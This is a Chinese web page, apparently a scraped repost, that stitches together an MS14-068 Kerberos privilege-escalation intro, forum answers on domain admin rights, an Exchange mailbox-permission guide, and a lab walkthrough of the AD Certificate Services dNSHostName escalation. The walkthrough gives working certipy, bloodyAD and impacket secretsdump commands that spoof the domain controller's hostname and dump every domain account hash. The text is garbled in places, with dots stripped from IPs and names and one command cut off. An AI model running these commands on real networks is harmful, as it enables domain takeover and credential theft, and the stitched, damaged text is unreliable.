Kerberos协议是一种基于第三方可信主机的计算机网络协议，它允许两个实体之间在非安全网络环境（可能被窃听、被重放攻击）下以一种安全的方式证明自己的身份。
远程权限提升漏洞存在于 Microsoft Windows 的 Kerberos KDC 实现中。存在该漏洞的症状是，Microsoft Kerberos KDC 实现无法正确验证签名，这可能造成 Kerberos 服务票证的某些方面被人伪造。简单来说就是一个域内的普通账户可以利用此漏洞进行权限提升，升级为域管理员权限。
漏洞需要以下四样道具
MS14-068是横向移动Pass the Ticket技术的一种，利用Kerberos认证机制进行攻击。除此之外，常见的还有金票攻击和银票攻击。本次不再详细介绍。
T1550003 Use Alternate Authentication Material: Pass the Ticket 票据传递
T1558001 Steal or Forge Kerberos Tickets: Golden Ticket 黄金票据
T1558002 Steal or Forge Kerberos Tickets: Silver Ticket 白银票据
查看系统补丁情况，没有打KB3011780补丁的机器是可以利用的
查看用户的SID
获得SID
还可以使用这条命令获取域内所有用户的 SID：
PyKEK 是一个利用 Kerberos 协议进行渗透的工具包，使用 PyKEK 可以生成一个高权限的服务票据，之后通过 mimikatz 将服务票据导入到内存中。
github >你好。这个是不可能的。除非管理员给你加入管理员组。
那个组默认有管理员的权限。 自己是不可以提升的
想要权限。你可以找你们的管理员。让他给你特定几个权限。。。
我就是学计算机的，所以对这个还有一点了解的。。。呵呵。。本地不能提升。
域就是为了方便管理的
如果有限制过，那么需要在域控服务器里将用户账户属性中取消禁止用户修改密码的对钩即可。1我利用管理员账号在某子机登陆，并给一个受限账户提权为Administrator权限,结果该账号在原子机登陆时权限为Administrator（同一个域登陆），但是在其他处于同一个域下的子机登录时，权限还是受限账户，这是什么回事？
答：这涉及到本地用户组和域用户组的两个概念，本地用户存储在本地，域用户存储再域控制器上。你给一个受限帐号提升权限为administrators时，是提升到本地的管理员组，只有在本地生效，再其他计算机不生效。
如何才能把该受限账户提权为整个域的管理员，即在任何子机登陆都是管理员权限？
答：在域控制器上把这个用户加入到域管理员组，即可在所有已经加入域的计算机上登录，并且具有管理员组的权限，但是这样的做法是不安全的，普通用户不应该具有域管理员权限。
2我在某个子机登陆老师账号时，中心主机是否会有记录？假如有，老师可不可以追踪到该子机的位置？
答：如果域的策略设置了登录审核，那么你的登录行为是会被记录的，并且可以记录登录的用户，时间，计算机等信息。
先吃饭去了，有不明白的，你再追问。方法 1
如果您不是 Administrator，或者如果您不是 Domain Admins 或 Enterprise Admins 组的成员，可将您的帐户添加到 Exchange Domain Servers 组中。添加之后，您就具有对该域中服务器上的所有邮箱的完全访问权限了。
注意若要使用方法 1，Exchange Domain Servers 组必须具有“另外接收为”权限。
方法 2
您可以通过更改“Exchange 系统管理器”树最顶端的组织对象的权限，向 Windows 2000 或 Windows Server 2003 管理员授予对整个组织中所有邮箱的权限。如果您不想授予这样普遍的权限，可以使用本文“方法三”部分中提供的说明仅授予对个别数据库的访问权限。
对管理员显式拒绝权限是在组织对象上通过拒绝“另外接收为”和“另外发送为”权限设置的。对于那些您希望让他们具有完全访问权限的帐户，您可以取消这些拒绝。但请注意，如果某个帐户属于管理员组，则该帐户将仍然无法访问邮箱，这是因为对组的拒绝将优先于授予个别帐户的权限。
注意若要在组织对象上更改安全性，则必须在“Exchange 系统管理器”中强制显示“安全”选项卡。 警告 注册表编辑器使用不当可导致严重问题，可能需要重新安装 *** 作系统。Microsoft 不能保证您可以解决因注册表编辑器使用不当而导致的问题。使用注册表编辑器需要您自担风险。 若要强制显示“安全”选项卡，请按照下列步骤 *** 作：1 单击“开始”，然后单击“运行”。
2 在“打开”框中，键入 regedit，然后按 Enter 键。
3 在注册表编辑器中，找到注册表中的以下子项：
HKEY_CURRENT_USER\Software\Microsoft\Exchange\EXAdmin
4 在“编辑”菜单上，指向“新建”，然后单击“双字节值”。
5 键入 ShowSecurityPage，然后按 ENTER 键。
6 按 Enter 键。
7 在“编辑 DWORD 值”对话框中的“数值数据”框中键入 1，然后单击“确定”。
8 退出注册表编辑器。
若要通过“Exchange 系统管理器”向您的管理帐户授予对单个数据库中所有邮箱的访问权限而不管继承的显式拒绝，请执行以下 *** 作：1 启动“Exchange 系统管理器”，然后找到要对其中存储的邮箱具有完全访问权限的数据库。
2 打开此对象的属性，然后单击安全选项卡。
如果看不到“安全”选项卡，请参见上文中有关启用“安全”选项卡的步骤。
3 在该对象上向您的帐户授予完全显式权限，包括“另外接收为”和“另外发送为”权限。
进行完此更改后，您可能仍会看到将不可用的“拒绝”和“允许”权限指派给了您的帐户。不可用的权限表明，通过继承您已被拒绝了权限，但是您在此级别又继承了权限。在 Windows 权限模型中，显式授予的权限将覆盖继承的权限。请注意，“较低级别的显式允许”覆盖“较高级别的显式拒绝”的情况仅限于在设置此覆盖的单个对象上，而不包括该对象的子对象。这可以防止您在一台服务器上授予自己对所有数据库的访问权限；您必须针对各个数据库分别授予权限。
更改权限后，您必须注销并重新登录。Microsoft 还建议您停止并重新启动所有 Exchange 服务。如果林中有多个域控制器，则可能还必须要等到目录复制完成。
当Windows系统的Active Directory证书服务（CS）在域上运行时，由于机器账号中的dNSHostName属性不具有唯一性，域中普通用户可以将其更改为高权限的域控机器账号属性，然后从Active Directory证书服务中获取域控机器账户的证书，导致域中普通用户权限提升为域管理员权限。这一漏洞最早由安全研究员Oliver Lyak发现并公开分析过程和POC，微软在2022年5月的安全更新中对其进行了修补。
影响范围较广，包括Win81、Win10、Win11、Win Server 2012 R2、Win Server 2016、Win Server 2019、Win Server 2022等版本，详细版本号可以参考微软官方的公告（参考链接）。
*** 作系统：
Win10、Win Server 2016、Kali-linux-20221。
分析工具：
ADExplorer、Certipy、bloodyAD、impacket、PKINITtools。
关于这个漏洞的分析和复现文章网上已经很多了，但是笔者在分析和复现这个漏洞时遇到的一些“坑”大多并未提及。所以，今天主要分享遇到的问题和解决方法。
首先设置Win Server 2016的IP地址为固定IP，然后设置其DNS服务器地址。测试时域控服务器的计算机名为dc，IP为192168220160，网关为1921682201
接下来是安装域控环境。在Win Server 2016安装域控环境比较简单，安装时，使用超级管理员Administrator登录，然后在服务管理器的仪表盘界面选择添加角色和功能，在d出的向导中按照默认选项，直接“下一步”即可，注意在服务器角色界面中勾选“Active Directory域服务”即可，如下图所示：
域服务安装完成后，选择“将此服务器提升为域控制器”，如下图所示：
然后选择“添加新林”指定根域名，笔者测试时设置的是：fenghuotailocal，如下图所示：
其他的选项按照默认设置就可以了，另外，安装过程中会自动安装DNS服务器，安装成功后需要重启计算机。
最后是安装域证书服务。还是在服务管理器的仪表盘界面选择添加角色和功能，在d出的向导中按照默认选项，直接“下一步”即可，注意在服务器角色界面中勾选“Active Directory证书服务”即可，如下图所示：
然后在选择角色服务的步骤中，需要额外再选择“证书颁发机构Web注册”，如下图所示：
域证书服务安装成功后，需要再配置域证书服务，如下图所示：
在配置域证书服务中，需要选择“证书颁发机构”和“证书颁发机构Web注册”，如下图所示：
最后再选择“企业证书”（如果不是域成员，无法选择该选项，但默认账号Administrator可以），如下图所示：
其他选项按照默认设置即可。
域控服务和域证书服务安装成功后，在服务管理器的仪表盘的工具菜单中选择“Active Directory管理中心”，然后在Users分组下新建一个用户账号，输入密码和选择“密码永不过期”，模拟加入域环境的普通用户账号。分析时使用的普通用户账号是testcve，如下图所示：
域普通用户账号建立好后，再选择另外一台计算机，测试时使用的是64位的 Win10系统，计算机名为testmachine，加入刚建立的域fenghuotailocal，然后使用刚建立的域普通用户账号testcve登录（加入域的方法请自行搜索，此步骤无特殊设置）。到此，测试环境就搭建好了。
以域普通用户账号testcve登录Win10计算机后，使用ADExplorer工具分析该提权漏洞产生的原因。
ADExplorer工具需要先登录，分析时使用普通域用户账号testcve登录fenghuotailocal域，如下图所示：
登录成功后，展开左边的树形控件“DC=fenghuotai,DC=local”，然后再展开“CN=Computers”和“CN=Users”，可以分别看到刚才新加入域的名为CN=TESTMACHINE的win10计算机机器账号和普通域用户账号CN=testcve，这两个账号均包含了很多属性值，如下图所示：
每个属性的具体含义可以参考微软官方的帮助文档，此次分析只关注该漏洞相关的属性。默认情况下，域用户账号可以申请User证书，域计算机机器账号可以申请Machine证书，两个证书都允许客户端身份验证。
展开Computers分组，选中刚才加入域的计算机CN=TESTMACHINE，其中一项属性dNSHostName的内容为testmachinefenghuotailocal，testmachine就是新加入域的Win10计算机的计算机名，这个属性是向域证书服务申请机器账号证书时用于标识指定计算机机器账号的，也就是说dNSHostName的内容和机器证书是绑定的，不同机器账号的dNSHostName内容，就会得到不同的证书。另外属性sAMAccountName的内容为TESTMACHINE$，这个属性作为计算机机器账号名，如下图所示：
那么可以将dNSHostName的内容改为域控服务器的内容吗？如果可以的话，岂不是就伪造成域控服务器的机器账号了吗？尝试将其内容改为dcfenghuotailocal，却会得到一个错误，更改失败，如下图所示：
为什么会出现这个错误？因为dNSHostName属性和另外一个servicePrincipalName属性是相关联的，更改dNSHostName属性后，域控服务器将自动更新servicePrincipalName属性的值。这样就导致和原域控服务器机器账号的servicePrincipalName属性冲突了。TESTMACHINE$机器账号属性servicePrincipalName中的内容，如下图所示：
但是如果删除了其servicePrincipalName属性中的两项内容RestrictedKrbHost/testmachinefenghuotailocal和HOST/testmachinefenghuotailocal，更改dNSHostName属性的内容为dcfenghuotailocal，不会导致冲突，更改将会成功。
属性servicePrincipalName中删除了两项后的内容，如下图所示：
但是如果删除了其servicePrincipalName属性中的两项内容RestrictedKrbHost/testmachinefenghuotailocal和HOST/testmachinefenghuotailocal，更改dNSHostName属性的内容为dcfenghuotailocal，不会导致冲突，更改将会成功。
属性servicePrincipalName中删除了两项后的内容，如下图所示：
dNSHostName属性的内容成功更改为域控服务器的内容dcfenghuotailocal，如下图所示：
到此，普通机器账号TESTMACHINE ，然后从Active Directory证书服务中申请到域控机器账户的证书，导致域中普通用户权限提升为域管理员权限。
根据该漏洞的分析结果，想要成功利用该漏洞，需要满足如下几个条件：
1、域控服务器系统版本
Win81、Win10、Win11、Win Server 2012 R2、Win Server 2016、Win Server 2019、Win Server 2022等版本，详细版本号可以参考微软官方的公告（参考链接）。
2、域内普通用户账号权限
需要获取域内至少一个普通用户账号权限，并且需要该账户对dNSHostName等属性具有相应的权限。默认情况，普通用户账号具有该权限。
3、企业证书服务
域内部署有企业证书服务，并允许被控制的计算机账户申请计算机身份验证证书。
环境搭建过程不再赘述，参照分析过程即可，攻击机选择Kali-linux-20221，需要安装额外的工具Certipy、bloodyAD、impacket、PKINITtools
首先需要获取域控服务器，域证书服务器的一些基本信息。在受控的主机上执行powershell命令Get-ChildItem Cert:\LocalMachine\Root\，得到域证书服务器地址fenghuotai-DC-CA，域控服务器地址fenghuotailocal，域控计算机名为dc，如下图所示：
设置攻击机的DNS服务器地址为域控DNS服务器地址，或者在本地hosts文件中设置域控和与证书服务器域名的ip，不然会导致无法解析域名等错误。设置kali的hosts文件内容，如下图所示：
复现环境准备好后，先使用掌握的域内普通用户账号申请证书，并验证登录，测试复现环境是否异常。申请证书命令certipy req 'fenghuotailocal/testcve:1qaz3edc@dcfenghuotailocal' -ca fenghuotai-DC-CA -template User
可能会遇到NETBIOS超时现象，重新执行一次申请证书命令即可。
申请用户账号证书成功后，执行命令certipy auth -pfx testcvepfx验证该证书，获取其NT hash，如下图所示：
成功获取到了NT hash，说明测试环境没问题。如果遇到错误（特别是还原域控虚拟机后），说明域控有些服务没正确启动。需要重启域控服务器，待仪表板上的服务项启动后，或者手动启动后，再重启Kerberos Key Distribution Center（kdc）服务。不知道实战中是否会遇到该错误，如果遇到了，后面的利用就无法进行了。
使用命令python bloodyADpy -d fenghuotailocal -u testcve -p '1qaz3edc' --host 192168220160 addComputer pwnmachine 'CVEPassword1234 '，新建一台名为pwnmachine，密码为CVEPassword1234 的机器账号，如下图所示：
然后使用命令python bloodyADpy -d fenghuotailocal -u testcve -p '1qaz3edc' --host 192168220160 setAttribute 'CN=pwnmachine,CN=Computers,DC=fenghuotai,DC=local' dNSHostName '["dcfenghuotailocal"]'，设置其dNSHostName 属性为域控服务器属性，如下图所示：
设置成功后使用命令certipy req 'fenghuotailocal/pwnmachine 的证书，其实申请到的是域控dc$的证书，如下图所示：
获取到域控的机器账号证书后，使用命令certipy auth -pfx /dcpfx -dc-ip 192168220160进行登录验证，获取其NT hash，如下图所示：
然后使用impacket工具examples目录下的 secretsdumppy 脚本，命令为python3 secretsdumppy 'fenghuotailocal/dc$@dcfenghuotailocal' -hashes :d396bce5a7bf19ed7bfa58b8f923357a，获取域内所有账号hash，如下图所示：
当然，还可以使用PKINITtools工具，获取域控最高权限shell。
欢迎分享，转载请注明来源：内存溢出
微信扫一扫
支付宝扫一扫
评论列表（0条）